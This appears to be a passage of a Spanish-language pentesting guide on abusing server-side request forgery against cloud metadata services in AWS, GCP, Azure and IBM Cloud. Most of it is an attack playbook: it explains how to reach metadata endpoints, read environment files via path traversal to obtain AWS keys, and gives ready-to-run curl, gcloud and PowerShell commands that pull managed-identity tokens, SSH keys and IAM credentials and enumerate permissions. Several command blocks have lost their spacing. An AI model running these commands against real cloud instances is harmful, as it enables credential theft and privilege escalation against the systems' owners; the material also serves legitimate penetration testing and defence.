El endpoint de metadatos se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: http://169.254.169.254 (información sobre los metadatos aquí).
Hay 2 versiones del endpoint de metadatos. La primera permite acceder al endpoint a través de solicitudes GET (por lo que cualquier SSRF puede explotarlo). Para la versión 2, IMDSv2, necesitas solicitar un token enviando una solicitud PUT con un encabezado HTTP y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es más complicado de abusar con un SSRF).
Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, según la documentación, la respuesta de la solicitud PUT tendrá un límite de salto de 1, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
Además, IMDSv2 también bloqueará las solicitudes para obtener un token que incluyan el encabezado X-Forwarded-For. Esto es para evitar que proxies inversos mal configurados puedan acceder a él.
Notice the aws_session_token, esto es indispensable para que el perfil funcione.
PACU se puede usar con las credenciales descubiertas para averiguar tus privilegios y tratar de escalar privilegios.
SSRF en credenciales de AWS ECS (Servicio de Contenedores)
ECS es un grupo lógico de instancias de EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en ECS, los puntos finales de metadatos cambian.
Si accedes a http://169.254.170.2/v2/credentials/<GUID> encontrarás las credenciales de la máquina ECS. Pero primero necesitas encontrar el <GUID>. Para encontrar el <GUID> necesitas leer la variable environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro de la máquina.
Podrías ser capaz de leerlo explotando un Path Traversal a file:///proc/self/environ
La dirección http mencionada debería darte la AccessKey, SecretKey y token.
Tenga en cuenta que en algunos casos podrá acceder a los metadatos de la instancia EC2 desde el contenedor (ver las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios, desde el contenedor podría acceder tanto al rol IAM del contenedor como al rol IAM de EC2.
SSRF para AWS Lambda
En este caso, las credenciales se almacenan en variables de entorno. Por lo tanto, para acceder a ellas, necesita acceder a algo como file:///proc/self/environ.
El nombre de las variables de entorno interesantes son:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Además, además de las credenciales de IAM, las funciones de Lambda también tienen datos de eventos que se pasan a la función cuando se inicia. Estos datos están disponibles para la función a través de la interfaz de tiempo de ejecución y podrían contener informaciónsensible (como dentro de las stageVariables). A diferencia de las credenciales de IAM, estos datos son accesibles a través de SSRF estándar en http://localhost:9001/2018-06-01/runtime/invocation/next.
Tenga en cuenta que las credenciales de lambda están dentro de las variables de entorno. Por lo tanto, si el rastreo de pila del código lambda imprime variables de entorno, es posible exfiltrarlas provocando un error en la aplicación.
Para usar el token de cuenta de servicio exfiltrado solo puedes hacer:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Una VM de Azure puede tener 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes suplantar todas las identidades administradas adjuntas a una VM.
Por defecto, el punto final de metadatos utilizará la MI asignada por el sistema (si la hay).
Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MI que tiene una VM adjunta.
Por lo tanto, para encontrar todas las MI adjuntas puedes hacer:
Obtener identidades adjuntas con az cli (si ya has comprometido un principal en el inquilino de Azure)
Obtener identidades adjuntas utilizando el MI adjunto predeterminado en los metadatos:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Obtener todos los identidades gestionadas definidas en el inquilino y fuerza bruta para ver si alguna de ellas está adjunta a la VM:
azidentitylist
En las solicitudes de token, utiliza cualquiera de los parámetros object_id, client_id o msi_res_id para indicar la identidad administrada que deseas usar (docs). Si no, se utilizará la MI predeterminada.
Desde el env puedes obtener los valores de IDENTITY_HEADERyIDENTITY_ENDPOINT. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos.
La mayoría de las veces, deseas un token para uno de estos recursos:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Tenga en cuenta que en IBM, por defecto, los metadatos no están habilitados, por lo que es posible que no pueda acceder a ellos incluso si está dentro de una VM de IBM Cloud.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
La documentación para los servicios de metadatos de varias plataformas se describe a continuación, destacando los métodos a través de los cuales se puede acceder a la información de configuración y tiempo de ejecución para las instancias. Cada plataforma ofrece puntos finales únicos para acceder a sus servicios de metadatos.